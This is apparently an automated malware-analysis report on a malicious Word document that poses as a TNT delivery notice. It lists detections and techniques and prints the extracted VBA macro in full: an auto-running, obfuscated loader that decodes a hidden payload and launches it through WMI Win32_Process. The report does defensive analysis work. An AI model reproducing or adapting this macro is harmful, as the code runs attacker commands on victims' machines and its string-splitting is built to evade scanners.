Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0a4841ece31117cc…

MALICIOUS

Office (OOXML)

20.2 KB Created: 2020-08-18 13:21:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-07
MD5: e1767ed6f889315ca95175b1bc80b28f SHA-1: f108647c0e44be2020f668c89e705e44d3bb6ef5 SHA-256: 0a4841ece31117cc23b0e1740fa1b97b3eaf529733a06d0119feaa3b071a2f7f
402 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros with a Document_Open auto-execution macro, indicative of malicious intent. It uses obfuscation techniques like splitting keywords and employs the WMI Win32_Process launcher to create processes, suggesting it's designed to download and execute a second-stage payload. The presence of a 'Warning: Document is secured, click on "ENABLE MACRO"' message and a 'TNT Express Delivery' lure further supports its role as a malicious downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.Sagent-9376492-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9376492-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3440 bytes
SHA-256: 3d9544a0d7599bd5c54b714a046875fe8a0d549747f588eb9662a6c66f09c7a3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit





                                        Private Sub Garishness(ByVal Lemuria As String)







                                                                        Dim InspIrable As Long: Dim Ambiversion() As Byte







                  





                                                                    GoTo Chlorella





          





Deposal:







              






             






                                                                    Vitrioling StrConv(Ambiversion, 64, 1055)







           Exit Sub





                   





            






Sendee:







                                                                            





               For InspIrable = 0 To UBound(Ambiversion)








                                                    






                                                                            Ambiversion(InspIrable) = Abs(Ambiversion(InspIrable) - 11)





                                                                    Next






                                                                    GoTo Deposal
Exit Sub
Chlorella:






                                                                Ambiversion = StrConv(Lemuria, 128, 1055)
GoTo Sendee
Exit Sub








                                                    






               






                 End Sub





           Sub Document_Open()







                                            Call NoNclearaNce
End Sub






          





             





                                            Private Sub NoNclearaNce()
Dim Lemuria As String: Lemuria = ActiveDocument.Variables("ofdca6d8e86f").Value






               Garishness Lemuria







                                                                            







                                                        






                                                                End Sub
Private Sub Vitrioling(ByVal Depriver As String)
Dim Inerasably As String: Inerasably = "."
If Depriver <> "" Then







                                                                





                                                                    GetObject("w" & "i" & "n" & "m" & "gm" & "t" & "s" & ":\\" & Inerasably & "\ro" & "ot\ci" & "m" & "v2" & ":W" & "in3" & "2_P" & "r" & "oc" & "e" & "s" & "s").Create Depriver, Null, Null, 0







                                                                    




                                                            





            Else








          





               MsgBox "Promted usr764 ."
GetObject("wi" & "n" & "m" & "g" & "mt" & "s:\\" & "." & "\ro" & "ot\ci" & "mv2" & ":W" & "in" & "3" & "2" & "_P" & "roc" & "e" & "ss").Create "calc.exe", Null, Null, 0






                   End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: c333a60530306763f9901f7d1cab5683fbb435121181fd4d885814c96532af07
Detection
ClamAV: Doc.Downloader.Sagent-9376492-0
Obfuscation or payload: unlikely

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